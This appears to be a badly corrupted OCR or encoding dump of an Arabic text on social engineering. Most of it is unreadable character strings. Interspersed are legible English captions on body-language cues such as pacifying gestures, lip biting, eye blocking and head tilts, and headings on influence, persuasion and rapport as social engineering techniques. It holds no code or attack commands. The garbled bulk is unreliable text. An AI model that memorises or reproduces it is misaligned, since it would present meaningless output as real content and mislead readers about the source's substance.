jl^iJjajVI (J^-^- (j^ ^Ajajllxill jlj^ll -1^1 (jlS lit cJ^LalJJ |AJ 4 jlxi Cj^L taC> ,^lj^<i JJC- 4iL ^>*JalJ 1^ J^ 6 6jlj3 (J^LL (JJ 

a( & <j^uji iiiuiVi ^ <j^vij ji j^i 
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^jti lA Ua<u Ale JJjJ t fl^j ^jJ lg-J ^>stjaiJ ^^l AiJalxJl jjJa l£JJ '^'^ ^ ^ 1 U (J I^A t^^cUu^VI ^J" all <Jjou31j 

lilbl^VI L_fll,A&l ^^ic bLucI t^-^ljUll J' ^J*^a JJ^I ^LjJI (j^-AJ (jlS lij <CjJudJ ^ajL C_fl jjuj <^'^\ (^C-Ldl^Vl (JJjli^-xJl 

J * A i^li ul ^^eLal^VI (Jjj.H^a11 (j^J t flj£j ^-Ic^jVIj 4-^.1^)31 (jc- j;ic. jl 4_iikJ| CjLg!>1*JI £>i& A fc-vN ^ J jjj^kll ^ 

,1 ^j^aLuLq cdj^Qj ^^lll (Jj]aLL<Jl (jc > >>l (j-a ^je qjSj <— fl jjuj CjI jaill 

(Neck and Face Pacifying) 

<JjS CjIjjoij-<» (jj£j (jl (j^-aJ C5"^J L£^^' djLd^lc 4-!a^.!>L<i 4i£^J ^^eLal^VI (JJJ^i^xJl 4<J^ (j^ C5"^ *ML>^ ^ 4-SLjaVL 

,4_^.|^)3l ^aAxJ ^>*JalJ L_fl^Jl cJ*^ La LjUjuo (jl J;!^ (_^ill J til jluJl ^ J^J*^ G^LabO j& ^-UixJl _4_^.|^)3l ^a^C. (j-G 

<j3j]| ^ 3^ ^j^ 1 * v t(_3^l jl i^j^ill j <— i j^JL Sl^JI ^juii Loiic 6<j3j3I (j-d ^^iliJI ^3^!l <^ A"m cJ^^I jlj^- 

bC5 1j1I Jiill ja L£ 'suprasternal notch 

This neck-pacifying move shows discomfort. 




j& La£ 6J^L ^Vl ^(^i J jl (jl Clk^V Jfl j . j^IaII J^Ia ^ (j' ^ (j^l <lajjujl I J*^>lj (jJ-Jl (JjjUII <**UV^ ^ 

,(^jLoJI <J£joJ1 

.^Lill J£joJI j& Lo£ jll tilja ^1 Jj^jj 4_^.I^)31j jjjljoJ! (JjjLujI j& ^^cLu^VI <^l ol jj ^kl ^-^gJuS 

Rubbing the face like this is pacifying. 




^jJa jll jl jlj^ll ^ J' 6 L>^^ '^'^^^ ^>*-^ (J^a^jaJl (jl cJj^J (j^ (^C-Loi^V! (Jjj V^ a\\ (j^J tJa^^J Li^jx. 6A£^pJl 

"(manipulators) s-^^l" I^jL iilaallt j^JI Ji^ c Vu^ (jjj^VI (jjoiill ^LJ^ j jj^^II ^ ^ill 

(jji^ j (_£ jlxJI j>i> ^llj <ja^l j-aj ^^ill l_jL^cVI (j>» (j^l (jj^ jl ^Ij^ ^^j -0 uj-^ CjljLik jL^-l lSj^-^ L»^jc 

.carotid sinus j vagus nerves L^ (j ju^l l 
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(What to Watch For) ^UjlJ^u ^jJI L 

(j^lj b^y± <Jjl 4_Lg L_j|^)jaVl 4_aJ^)llj ^akjuall (jl -laa.!^ (jl ^ all (j-a _d jLoJl CjI jjjirMl SAALuLa t^^cLalal ^jjj.V^ ^ 

.til jLJl 11a ^ ^ *cs-^ J ^ *cs-^ '^1 ^ V ^ ^ I^A ^jj l_u£ lil .AjSjII jl ^Ija g-i I^jj tilli Asu 

(jl£ lij 4 jJJAdJl t . Ujuj <jl£ La Ujjoi ^jl ,La (j^aajuJ ^^ilalxJl jl^xJl <J ja. "(jjjtaa/ 1 tiljUacV til jLA\ ^ CjIjjaIJI S^aLuLq 

<j^Lkll til j£jJoll AajlLai ^^lll j Jal llLoaVl aJIojI (J^asu ^g-^^J JJ^ L_J jC-^a j-uiull 

(Mouth Covers) ^1 AJa*j 

^ clh^ ^ La (jla^su Cj^LaJl (jt£-a ^ (JjjUII iSj^ jlLalt j;ic. (j* ^jjjJ tCjjl j£JI (J^asu (jc (jc 4 K a jl A qj^ > ^ o^ljS £.UjI 

Mouth open and covered in shock or surprise 




U&l jal Ajja*j ^ji ."l-jj^JI jl ^ -vaK^u" 4jL^jjoj| jjjaaJ dAJaaill t^jjjL^lilo jl ^jjjjl a La^ic cILLoj ^jjja jj Lo£ 

j^stjai 1 g ^ju L_a jaJI jl tpl t>1 q^ll t j a i> ^11 .4.^)11 j jl! (JjaaI Aic ^>xjaij <^j1I Ajjlill 4_^.l^)l! jSsj t^jjaiill 4-^.1^)1 ^l J*^ 

.(jjoiill 4 il&Jax CjUl^a.1 1 g t m j 64_aJ^)ll 
kill dboil tiljl ^Ijj tila^J ^uaj S^lcL ^aS t^Luoll J£juo3I ^ cJ-^^ L>^ ^ (JjjLojVI -la^. ^ U^lA IjjJjlXJ (_^JJ L_ u£ lij 

,4j>^ ^i^I oi^ ^ ( . UjujJ (_^ill 

^yto to Watch For) ^LiSU^ ^Ul L 

I jJ^aC gall 1 ^ ^1 laJLujI tilj£ aJ .4ju11a3I <L^)]a Jjisu ^jl ( . La>J jcLauJl d^A ?L_fl jl t^j^Jl tL-bJaiJl l^ilj (jiajC 

. JjJI Cj^J Jxill jl£ li! 

^jjj.V^ a£ 6<JiLaJU .SAlaw <L^)iaJ ^jjjJ j tL^jLi. L_flflJ .Ajul^JI I1a ^ ^ ^aJ AjI ^^Ij Lft J ^.5^ *^J^ 4_*Lailj! ^ ^jul^JI I1a ^ ^.1 j 

^^ic ia.U ^jl Ajul^JI 11a ^ <jjaj\_L<i <1^juj <L^)ia ^C— iAaJl ^jjl^lilLo jl ^ixi j>l^ax I jjl£ lili <Ld L_JjJflJ ^ill Ajul^JI Ja^V t^^cl ^1^1 

.till ja. (j* A*\*s\\ ^^iiaUJl ^ jla a\\ 

li^ dJjj .^5-j^l^ 2!^)^^ ^H^l! o^jUalt L_JjjJa ^)±a. dj^Ja Ld^ic ^U^slII (JA <C j^^ a L-JjllU USIj fii< 9/11 ^ 4(J^^^ l!^^ (^C- 

^Jc. Uilal jc laalj li^a (jai <cjjaij 6^a.lj Aiija ^ Ujl^j 1 1 £l* a ^^Ij CjLajj^ll ^j-d ^jAslII dmjujj ^^ill l_jc^)1Ij 4 a i> ^11 

(Lips) uLli^J! J_ 

t ; 11 1 n j ttilli (j-G ^aVI Iajj 6(j£J j idA aV^W IgJV iaia li^ .<a.l jll JjlLi ^-Ijll {jc CjUj jL^aII ^ JjIa jAjl^q c _^a c LjlaJdli 
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j& (jxa £}\ U3 J jll \ g l£ aJ Uiajl t A-AAjuJI .(^aljlj aJ (jalj La Lbjoi Jj^J (jl (j^aaooJl (jl L-fljlLoJl L^)±aJ UUaj 

>c ^cLala.l ^ AjsLjal ft jj-g tililaau <^^lj 4_iiaJl CjljLaiVI ft^A Jalilill ^aisu (j^-aJ .Aioll (j^aaj jl ^ J - aC 

^^Jfc La£ ^.Ij Jj-o ft^laj cililaju j&j c^LilS Liujla LLloj a1 J j£j Cljl .till (JJJJ V J-aLtJJ L— u£j 4 J-gjlII fr<< tiljj ^jiajjii] 

Pursed lips are tight like in anger. 



(Pursed lips) aIi^I .JjLJI l£^I ^ ^ '(Pursed lips) oik^ o£i^l ^ ^ yr* ^ 

djLalSlt Jj£ *n (j* ciljLLV ^aill <jplc.| C5 ic laflbaJ (Pursed lips) ^IjjJall ftlajoill tLfe j& ja. .L-bJasJl li^ £a3 ^aJJ La^jx. C5 Ja. tL-bJaxJl 

Aajl ^j^i^ uJl <jl£ lil Ui j& ^j^i^ uJl ^jl U-kajl j£aj2j (jl (Pursed lips) 4^j> ^1 ftUj^ll (j£-aj ,tgJ j£i ^ji ft^Jij l_jc. jii ^ ^jJI 

- <Lua all dlls-l^a-VI jl <J*-^I ^J^J 6 J^J^J ^l*l^»VI C-pasu 

CjUKII jl Jl jj^j jl jSaj ^(Pursed lips) %^l jljc- .(puckered lip) y^j I^jaLL* jIaj ^jaj ^uilc 

j& JIjjoj La (j-aaojj JLojJ tiljl (jlajoii] .(jj^Jl ^a^C Jl ^Jjujj (jla^>*-ll Ii& ttilli (j^ V^J .L-bJaxJI V (j^J < JJ* (j-* ^ £ <^ia ^ ^aJj 

Showing some signs of uncertainty 




_^^]| (jLudJ lAjljSj (JIjjoj ( ** llj i o Uia /ftjjj^l! ^5 4 ^ ml ^ jjiC- j^JJ 1 

^ -laUa.VI CjU»!>Ic (J^asu ^JaJ Ij^ajl 6< . UaJ (jl ^JjJ li] U» ^llLo JJC. 4il jA Jala (JjjJ .!>Lila ^cC^ixi >*J (jj t^Ull J£joJI 

ft a A\ 4iJa3l (jc Clia-Jl .L-LJaaJI LaJ jj- (jjailll^ a1 j^aJI ^>^*J (jl (ja>»J Is^j (jJ jU A-UaLa ,da.^)ia ^^ill <llajVI 

jjVI cIiLq^ <Jj C-J^al5 c^ill (j-aauoJI (jt£ lil U l-ixj^1I JIjjoj ^ jL Asu (puckered lip) 
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Discomfort and uncertainty 




(jl 4jI£ 4djUi!>UJl aifc c ^cUu^.Vl (Jjj V^ a\\ til t^l^iJl (jc A^jJal j jjc. djLd^lc (j* U) Ajli ^ 4jI (j* ^c- jll ^^ic 

^ j& La£ t^jlalt ^1 jjijujj (^/? biting) 4i^l lP 3 ^ -cs-^-*-^ £^3^ cs-^- <-S-^ S^l j ^^A IgjujSUI l_a jjoi AiJJI <jc A^kc j±\ 

Lip biting and signs of anxiety 




<jjoij 1 ^jnr> ^LoijI q\ L— li^ .lg_iiic. ^ ^^1 j *1 vb u1 (J^J^ (3^1 C5J^ A .1 '(3^-^l <J£juJI ^ 

^JjjAlJ Uilic lillil ttillij ^Ll^ll S^lc ^J^l (JjjUII (J^asu .(jjlsJL UJ^ ^ C5^1 ^J^*^ 'Sl^lLalt jl L_fl j^Jl ^ aljj ^ La ^1 

.^IklU La (j^akjai Ui^ic (jla^xJl li& l— )>IaJ La jaC .CjIjjJtmII ^jc. Cll^jl ^aJ S^jjjLujVI -la^. ^ J^-J (jl (j^-aJ 6(jjiiijJJj 

.4-iMl <Jl£jai!}lI g jl uj a (jiajC Uiajl ^LaU ^3 .(j^M-J La ^ uj Ui^ic (J^axJ jJl S-f^^jaJl dLaUJ olLaJl UU^I 

Finger biting is another sign of anxiety or nervousness. 
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Object biting or chewing can indicate nervousness or contemplation. 




JJjaU (jt C5^^J O^J^ ^^"^ LaA^lS 4(jJiLljaJt (jJ£juJt 

(What to Watch For) cfill L> 

^aj^xJU (j^akjaJ! U»Ajc Ja^.V .CjIjjjtMI Cll^Jt ^ L£i (jj^ L ♦ al^Vl ^j" alt (jli ;£>i& AijuJt (jlajjC ^ 

4iJa3l (jlajjc ( ■ lla Jt Lia. cA-jSLuj (3*^ C-H^^ u!^ 'L&^^j . ( " ^ J^t ^li J t" *. w ^It 4_lluiVt jt Aj^La alt J^^J 6£ >i& 

(jj£j (jl (j£-GJj (JjjLujVI (jC- L^.j^k cJ^A^ U^*^-^ O^JJ^ *^U^ -C5^^ J^* - ^ (j^-^-^t £^ O^** 6 L£^>^^ 

.l^h^^ ^ till AuAh <ikLaj 

(jjj.V^ d£ d IxjJa j jt l— IxjJa j ^3 £-lc^jVt (jC- o^l^Jl CjUi^lxJl <j£ .^Jalt jt t^lkll olg_^U dltjjuij^ (jj^ ^ 

^ialLJl J DjjSixJt L&lt jt JC- Jc _t^SS jlui JaJjJa ^aJ (j-aj (Jctijlt I^A < ■ UjujJ till^at jJ <jl£ tit (jt < . la>J t^^C-LaS^t 



4_jt laJ ti&j <Lua3t ^«-^J jt Ajjjjud] - ^ <jJaC laJ (jt (j£-<uJt (j>» ;4_^Jj^axa (jc Lo ui (JLojJ Labile 6(JliuJt (J;iJjuj 

S&i ^jlt A-aL£jt (jc Jjj^alij ^^ic Jj^a^J j 4<j^a3 ^^^1 du£ tiljt ^jiajiiii] jt .(J^>^ > ? Mt (j-d c alalxjlt ^t jlit 4<!LaaJ (jt Ale L_U«j^alt 
<Jjt > ^>ll (_^^d (jjifj ^^t j tcitL^akl Ujj c LijJaJ (jt 4 j£ <Lj A^jjJalt AiJolt (jia JJC (J^axj (jiajc _4 a\\ oi^ c _ 5 ic jj^^Jt ^1 tit tiSlilSa j 
tjjj£ ISjfl t8>1 (jt (j^-<^ ^ ^-ijl - o C5 ic L_fl^)*j3t ^glc ^aisLilt tl^Q I^LujJ jt djLd^lxJt oi^ ^LaU fii< ^t jjoj .<! jalil ciliJ Ui J ^ <Jjaii3lj 

-C5 cLai^.Vt (Jjj.V^ ^ '^Ini 

(Eye Blocking) 4^ ^ 



_^JU3t j£jaJt (j^ jA (^5^ jt Ailst>Jt jjuaxJ tAjlxll (j^aJU ^yul^ ^aa uj (jj^J LdAjc ^jU^Vt (j-« ^ 

(jjfL LdAlc <juoij (jia^xJt ti^ ^JjJ (j^J .(j^3^ ^ lP^^ jt U3 oi^ jl j;Jjaii3t A J aJLu^Vt t . ujujj lLu^ ?tiUJ 



Eye blocking is a classic sign of sadness. 



_<jjJasu jt 6(j^^J '^J^J iS*^^ ^-^J -^-^^t (JjjJ (j^J (j3^^ ^ ir - l> % U ^t 
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j& li! La AA^suz ^1 U^J J^J^^ tAj^L^-all ^ jjJa j-a (Jj^*^ 4<La5l»Jl (jla^su ^aUj La ^ ui (_£JJ L— ll£ lil 

.til^jJallj dLaLuilLVl ( ; llaJ La j-oC-j L_LojUj tgj) jAij ."ciLal" <^Aj 4 J1» >* J^Vl (j-a ^ jJ lilliA <jl£ tljjju^a dj£ LaAiO 

(W/iar to Watch For) *J*Lti^j* </JJI L 

^UuAVI jlg-lajj ^akjaJl ^3V1 <Ja^.5La (j-a ^ uj £-a 4i5lc s-liJ <L^)ia 

Self-Comforting and Head Tilts 

^IS lil 511a liA fjlxll I ^a^klujl " (sdleS gUVUS ) <-^±L<l// jaLu*' ^5-*^ ^ '1980 ^ .^UuA^U jAa jaJl I^A ^1 Lojb ui 
liA (JjMJ (JjjUII (J^asu ^ Ll ^ ^IVntrtVI 11a (jl ^ ^ jVI dj^cLoJ ^3 j .(3^*^ J 'S^^J 1 ^ '^ J H (J^>^ uj 

^ jjfa U£ jj^a cii^j ;^A^Lai^l jil ^ixj I ^jij dii^ .(Self-Comforting) ^ jj jfi*^ j j^^ ^ 

Self comforting and a sign that something may have changed 



\ fcUjl a C5 ic l^jclji L_fl5J filial dlla^Vj ^C- J ^ (j-a L_Jjjij ^jiajjal m A m ^ Ale q^^x!\ \±i lij <Ja^5L<Jl liA ^\jLo]| 

# lgJ ( . Ujuj ^jl£ La Ai^x-aJ J JjKM 6,^^ <Jalj (jj^J .(CPOSS (iritis) W^LP C — J, ^ JL 3 La^li till jj 

.open ventral displays J jA ^ j^ioJI li* .(head tilts) ja J^ill 11a ^ ^LL^ i^l J! j& o^j^ j^' 

^aA La£ 4^ jllj 4ij3! ^a ^ J^oxjoi lilllaju L_fl jjoj <JjujLLo3! AjjI^II ^j£3 _<ail3lj IjJ^ (_>iJj 'l!^^ cdlat-^J o^J^joi (JjjIj <!Lal £-a 4-9^3^ 



AjjL ^^Lua Xa^a 
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The comfort of a good head tilt and smile 




."^ aJ tillil t^Sljjj] ^JXjuj Ulj 4tiL (jjl Ul" i Jjii (jla^aJ! O^J *LaluUj| (jlajsu ^ajL ^JJ 

."^ AiS3! <> (ji^jj ^ <4? JjI Ul" i<A\ dj^il ^ill ^ 

Selena's not-so-subtle head tilt says she is open to this relationship. 




liA lau ^LaJI ^£jj*VI o^jjJi .c£ open ventral display ^LaaibVl j ^1 jll laLk 

Sj^Ull ai* c^k^ .^j>JI (shrug) o£&ll > ( ^ U4a 'open ventral displays ^^i^j Utic jSIj 

.IfrSll mi jj ^ ^'^'^ ^> 1 gjW* j^jj Sa^I jll 

(W/wtf to Watch For) ^MLiSU^ ^JJI L 

L_fl jjoj JJ jilll li^ j tljJ jld ^AJ^aJ ciljli tl-Ui ^ir> (jj^J Ui^ic ,^3^x11 I^J ^t-lj Ld^jc tiLoiij 6AALaui ^ ^jjj.V^ a£ 

.tiL (j-aUJl <*JjMl <Jjoj11<JI c *U\ jxl\ jjlJJ cilj] ^ ^Lj j tiL <j^aUJl 

l^jj Cijl^ IaIij o^asu ^ l^-ilc (Jj^j ^^ill <!L^JI ^jc ^^l^jj ^^jj^fkl / Ikl ■ AjlLII (Jj^j ^jl o^-^j 
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Human-Based SE: Influence: The Power of Persuasion 

If you would persuade, you must appeal to interest rather than intellect 

£5^1.1*3! j-G (jjjLuJt £ j^lt cJ^^ <Juj3Uxll i>iA JajuU ^1 tiLJ (Jc-LolJJ jt j^AxJt j-G Ll±i\ .AIgSL Jj^ill li^ (J^TN jj <JUJ jlLalt 4_jU£lt fi^A 
JJdij .4 ^jVl jC jijulJ L_fl jjuoS tl^cljjl ^aJ lij L— Ll^ J jA. j£lt j-a <C <fl j jA Jjdiilt ^lc <n^Vt A \i\X\ft\\ Aui\<\\\\ 

t_aJal^JI Jxuiu jjSuIIj ^USVt .^1*1Lj <*jc^ g-A ^ill jail j* ji&lt Jla g_A (persuasion) £^yij {Influence) j^ull 

.jjAilt liLft j c aj£ t—ajsu (j) Ale 6<LLaJI 5-1 j^-Yt o^asu ^ ^jjja jj La£ .Cjhqv* alt j 

4->t^j l— li£ tit Ia^jjj ^^jlt <Lj]allj j-ajJ jt tilu tjclijj 4 ci*^ (jt o^jjj j^.1 (j^akjuj C5 ic <J jj^^Jt A-iLaC jA ^US^t jS j J^tilt 
tliA ftjjSUI ^i-i-alt ^t^kloat jl ^^ixj liAj .<K L_Aj£Jt I^A cJ^aJi jfll j* o^tj ^-A Ujj .<LLaJt <L^Jt S*ljS tcilli ^t 

^UNfl ^l^Jt .tilli Asjj 4JV a! Ia^jjj ^pl! <LjIaJlj ^aV-Sft C5 ia k IaJJj tjxilt t jj££i3t C5 Ic kilt c^lc- UJ^ <— * 

.Ljajt tgJ V^.nj ptuaJt jJll^alt C ftjuj^Uj t^ajj <j£ ^USVt jfl ~ iklLaLj 
jLa. jA jjfljSj t^^jj^lUjaj Cjjjjj ; jaiY jJ] jjl&Jt (illi ^aLuj . jJjUlt j3 jl£itj t<Loitj,^Jtj l— la ill ^jLi^ l— ^ jjjUlt (J^asu 

; jl^jU (jjU^Ull (4jLlx*aC A^uZ^lj NLP Cljl-ljijj CjL^jt ^ AijSLxJt oiA ^ j>» . J ? tiA AijX-<Jt ^)-<i t^. jlabd tjJflSU Clll^ 

»^?V Q ^ pj^il ^ij^aj Jfi*J A^ ^CjjLajuj <Lia t j^.j>»j 4 j^jja. 

t^ljj l_S jjoj tiljli L-lilLoaVt ^aixJJ UiHc , jjUlt t^A <llax Cll^J ^t j <jt AiUiu£t (j^J V j diS jit a ^ (JjoLoj j ^^ijt jA ^^lilaJt jJJLllt 
jljt ^^ic J jj^aaJt ^ IAjj jjoj .Cjlx-ualt ^jlLd Jj3 ^ l^t^klajt lie. j tdjlj!>lcyt CjL^. jl ^^ic tAjjLaalt diU^lcVt ^ AlSa^^Lo 
AjjLaalt djlj!)lcyt ^jU^Jtj L_flJj^jlt ^gk t^JJ L_fl jjoj t^^JiLd du£ titj t^jjS jjaixJt (j-a d ilL^at j>Jl <LUa>» J;i*lt ClaV jl a <ilt ^ 4 l^lia 

.s^usit pUj! <^a jit Ajj^yt cjU. jilt j 

4-iuib.»yt jj^Uxlt ^jiaxjl djJj^S <! ja. £a ^3^^ ^ <*— S t^USVtj J^^lt ^^cUu^-Vt ^lt ^t iklLaat ^JQJ^ <J j^^t (J^ 

.Lia 4L_flt^AVt AiAaj 6 jSj ;L_ic!^i3tj tJlxJlj <Lilj«_Alt JiLd ^LLujt ^ j^-lt tiA ^jiaUj l_a jjoj \ § ^ ^lui\j l^jt-UL^jj cLlc& ^^lilt jjliUltj ^UaVt 
,A-ilUlt ^LaaaVt (jjja jj Ia£ 6<-gIa c_ijt 4 >>i^^ ^t \ ^qj > >iVi (j^j ^UaVt j j^Wt t 4-i>.>iL>.>iVt jj^Uxlt o!a ^j-g 1^1 j> V ^L^t 

(The Five Fundamentals of Influence and Persuasion) £tfi¥tj j^l^t ^ 4^aJI cjUuil^Sf) 

(Setting clear goals) <^atj cJt^At 

(Setting clear goals) <a^*lt *ti> 
(Being observant of your surroundings) -W^lt ik^^ ^ ^^lt 

(Being flexible) ^j* 
(Getting in touch with yourself) ^ JL^it ^ J j^raJt 

s-tj^Vt/J-oxlb ^ajL ^jl AjI cij±a .AfrlaAj^a ^k (jj^J V jt (jj^J ^ 5-tj^t iliJV L_fl^Jt ^C* ^icl^l^Vt 3 ua^ll <K ( fl>^Jt 

^ j3 J^Wt ^j-d ^ jilt t^A .t flUaAlt AjI^j (illi ^gic tilj£jaiJ ^JJ lS-**!! (*J^ J^/^J^ ^ tJaSfl o^jjj c^ilt 

^jjlajuj) djtjl^xJt 6^A tilLoJ (_£ilt ^^cUu^-Vt (jjj^i^lt lJ*^3 ^ J 
4jV ^^^^ t^A c_j^t Ut ."AiSaixJt L-baul <iajj^lt jt" Cjti JIS CjjUjoj L5 ^Ja ^ixJlxlt Sj^juill Cjti jji^tlt Ajjillt jilt C_Jjl<i 

j^JaJ ^^jlt <iaJj^Jt A laillt (JIa (_^^j3 lS^*^ (j^ J 6 W Jua ^ plSll ^ L>^ ?i )A ^ .^JOLA^Jt jjuoaVt 6^A LgLgj ^ j^j 

^jj Ul <JaJjiJt Ja\£ lill 

(Have a Clear Goal in Mind) JW1 ^ gJal j l^^a di^J - 

Ajjt tiLo" ttiLoij jLoat . jjjlllt lilli j-d C5 1^. Aaui C^a3j jt tiLlc ( . la>J jSl j 4 JSxlt/jLik- Vt ^ ^cjJat j L^^A tiL^l jj^J jt t ■ la>J la^k jjjJ 

/'yjc-Usli jt A£jUUt 6 iA j^ 
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oJ£±\ JiLk jLoij^U 4_iLkW! ^Jailt jjbj <(NPL) <j>-UI a^ajJU <j1*j <Ai>LuJI J j- aill LLiaU U£ 

^ jjliill C5 Ic j£jll3U l_La§ lil Ail ^5-^ V I .A_ilc Jj^a^J jl A^Jj^alil AjJajC (jj£j t&li j^JJ lij .Ail^Alj 
^.Ij £±j^a ^ L * aN *^ (j^ l^j tdlli £x» U^J -f^ 1 * ^ ■'S^ c ' J 1 t — ^ 6 CS-^* lS JJ^a^Jl 

liA ^jq^l jLalaJ (j* Ajjj c_fl jjoj l^i CjI^Ij^VI J t^jUMl ttilfll^Al ( JUJI t^lli A-GJ^Ul Clll jlakJl ^^ic jj^jdll ^aJ (j-a j 6 jV (jj^ 

(jl (jiajliii] ?Lg $-lj^l iLkjl C5 lc AlaaJ ?La (j^kJal CjlAt a\\ J£*j1 jA (Ja ?c*la^A jA La .^USVI 4_uaij ^ c ^Jo3l (3fJajj .c fl^frll 

tL^Sjjj (jl AcUiij jA ^pl^jll lJ^JI Lajj ?c V^ll Ui jlilU AcUSI ajjS j l_ua j <J£J1j > ^ jjjc. liaJj <Jxi jj^*-^ 

^j^aku^Jl (^ic J^Ull (jJjia J*^ L_fllAAVI ft^A (jxa J£ .(3D^ <J J^ 3 <L£l! L_fllAAVI Lpaau jkj Iajj (j£3j 

J l> .O Q 

L_JJjli £OdUjJ Jl ft^l J ftJ-G CIislxlLujI All "?4_ilc Jj^a^J LoAic ^— AjC-l (jl *J C Vft" ^^-^ JUaIJ £)\ tiLIc t . tL^A^Jl AjAaJ AsU 

f t*Ui uj^ 

ClllaauJa ^aJ 6^A ^ AjjI liLa Jlc dj jJ^aJ ^ uiilJ I^A C5 lc AjL^VU ^aJ J jV( JIjjoJI C5 lc CD ^— ^ J» ^' 4<Iaii3l 6^A Aic 
cJ^jojI 6 jiaaJI J*^- till^j ^^c-Uu^Vl (JjjAI^xJI 1 ^ ^ iklLujj ^^ill J^WI ( ^ ( -! J ^ ^ 1 "V ^ < fll AA VI 

( Rapport' Rapport'Rapport) i&UJI f - 

(j£*J .(^C-l ^ cJkb Aiilll ^UjJ 4(jiaU3l/ c ^C.| Alac j Ail,^ lull ^aJJ ^ill ^j^i^ /Ml ftUjjl ^^ic Jj^aaJ ^jl ^^-istJ <3^lxJl JJjiaJ 

Ij^xjolj t^jJfitLu^o ^aA Ja ?L_JJj>i ^aA Ja .^^ILlII ajUal ^3 JjL^.^ Lilac J^l^l •AjJJ (j^akjaJl dila (j-a l^fj 

.(j^i-suMl j£jJ U jSL tSlal^At j^jJ V .l^Jfl I jjj^J lA jjj^ali ^1 AjiLUll 3JUJI ^^jjffi jl tJjaJb 

jl^fll <^A .^JC j yJl J^kjJ ^j) A j£ ^ill ^^1 ^i^A ^ij ^jl ( ; la>J c _^cU»l^.VI (JjjI^-aII ^jl ^^^j I^A .1^. ^Jj^- <iaij 6^A 

?4_nAill 4l3U.j t_fl^Jl 

Ja^V .^>kl Ujjuj Jxij jl djIj^kxJl jl ^jjk dl (jC ^lli ^jl 

jl m^j (jjjJI t^jjc jj^j ^j^gj V tila^A . j±k^l]| ^ ^^laVI ajjj 4_jL AcUSI jSIj tc-jUuudjVU Ac-US) ajjj V iiljl Ua 
(jl t . a_^JI .1^>^. ^Iaj a^j! j (j-<i IgJ f& ;<iL cJ*^ (jl *U£-oj ^illj l^jUi^l jjiiU La ^ Aj^L^JI ^^j V .l_a^JI ^^Ic 

A^.jJ (JjI ^"U^J (j£3 j tAj^lc Aiajuil jJ till ^j^akjuj 

.Ajuo ftiU^lU ^Ual! ^aJ ttilli JjJSj tj^ /Ml tillil JixJI jUaj 

?^jk^j ^oA liUJ <*-^>*j cJa .(JjjUII (j-<i ^Ij^^ u J^.- 1 0 ^ .^^ c * uj^ **— ^^Jl V |U^j^ L^judij ^^a AjcUu^VI Ajoja^JI 

. JJoflloJ JJjUll ^fl ^a£^ J^?J ^3^- *J V ?liUJ AJixJl jl tA^^Jlj A-Ludiill L-jUjojVI ^ij Ja 

jl£ ^ill Jj^xJI ^^j^a ^ ^jj^luaJI ^ l_u£ Sjx Cjli .^Ki^ll Aiajojl jj aS^UJI ^Uj SjSal Uub ^UIojVI ^ V tt^Si ^1 AiLiaVU 

<j Jj^J tAcjjoiJ jjoiljl .^jUajjoJU L-jU^q AjI l_Lou£I A^.1 j ^ajj j Ajjoj 40 J^*^ L>^"^ J .l5^^^ U^J^ J> ^>^J 

bjA Cjli .AiSaUJl a^jIc dulc Ail ,^VJ >c jVI Ai^iJl ^JJ L-iaJ jSl j jVI AjjU jl I jjI jl .SjJ^Vl <>»UI C5 ij^laiJl 

Ajc.^)3I l>^J O^l ^' .1^ L>° L * ^ m 1 a !uj^^ f^-^^J^ ^^^"loll ^J^ 1 \^ ' J - ^ t * > \ ,A * N ^joiijl (jlAjl U»Asu 

^lau (5^1 ^Vl "UjJ ~* <Lj ^al (jl ^llalojl V '(JJ^J (jl (j^-<^ t * a .^ (jUi^VI ft jS (_^Axi ^fil (jl (j^J <^-ijl (j-« ^-^1 c^^J 

.^Jfclijul ^Jl SjlaajuJl ^ij ^ i£ <Lj ( flj£ C^aAJlllj I^-Lq 

ft^A^ (jjoi^. ^^^joi (^1 cJ*^ (j^ ^' q - ^ J^ 43 c *°J^ J *Ujjuj ft^lc (jj^.Vill (jU ^Aj^ c-UjI jUkl .AjjJaall ft^A ^ jj^ *^ ^Jalftll (jl 

^ ^Uuj V lgi£3 j Jtilli AJjS ^ ft^ AJI^J ^1 ^>s^I b nlt^> iaaa l^j] dii^ Ajj^A CjU jls^ I^jV J ft^Ul! <^Ac CjU jlauJl 
.AJc jJjUll AjU£3I Aj3 Uj ft^ Ai^lc ^Uj ^ ^U^ill (jlxuJl t*Ll ^^ixJ V li^i c j^kJJl . JixJl (j* ^^Jl U jUal 
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d u£ ^^joLjj^)]! <J^.,AxJ! J c _ 5 Jouil i— u£ LdAjc <il3il J - ^ ^jjUl dm .amj <jLacVI s j u *;; ^L£^ U&li du£ L— t . i1< ^ Jj t - <j ^ < 



J dlkjj^j L-bJasJU ^XjulS is&J JJ^ J^ L - u ^ L5^'J La.^JC- 4jV ^CS"^ L — W^j ( ** 1 I ( . u£ all L_alk alkali .til^jJal 

ttilli Jj AiLjaVU .S^cLuixll l-jaIj <j1 JcAijJt li* jLjc-VI J ^ J jlSi ^SjSaJI t*U Jj£i Sljxll aifc ^J^l ^ 

L— lLt^ _<Ja±^<i Igil Clljlj tcilli (j-a J Jc \ gVir.l dl^ljl j tl^-ilc til^jJal dli£ ^1 dbJaj!ial Igil d Lia 4il&VL d^Xjui 

cil^jJal du£ ^1 ^AxJ L— n£ lij 1^. L_Luj! Ul" < Jj^L^ <J jS A-a j tl^-liiC J d Jaj £-|^)^.VL JX-uil V <J^> ^uiflj 

IgJl Clj^jcli ^ JfJujVl ^J^-j 4_liaC J dljl£ ti!j!}La j j-a (jlaxJj CjIjUjoJI L_fl3 j-a J L— lj£ ^^ijj Cilia, .(ililc 

jj! LI t jALua" 4 <Jlc d Jj^J Cilaa tlgJ 4_a. jll ^Ld ^>Q^^ ^Uij tL^.^)^. ^jVl l^-jj (J J$ (j^ C5~^ ^ 'C5^-^J LS* Clj^!aj/<-— ixilaJ 



.l^ilc J jj^^Jl (JaxJI ^glc ^ixjjjuj ^jl^ o^lcj CjULiJI (jc dill 1 0 j dAiLnl! J£ l^niacli a 11 ' ^ CAjzCj Cjj^jcI <La^ ^su 
V (j^J tdljl jA I^A (jl ^jcl . jo^ laj 4 J>»IL» (jj^J (j' ^J^^ J (^^-^Ij a jjir > ^> ^jjJlxJ ^^g-i-^Jl ^1 Jj .^J^ill 

.^UaVI SjS J£ I^jj t J*i3U ^ js .<jc^ ^1 j2ll JjVuHrtll (j* Jx^. ^ill j^Vl 6 ^ ^1 jt La tAj^U^JI AjI^J 

(Be in Tune with Yourself and Your Surroundings) ^K 1 ^ ^ 

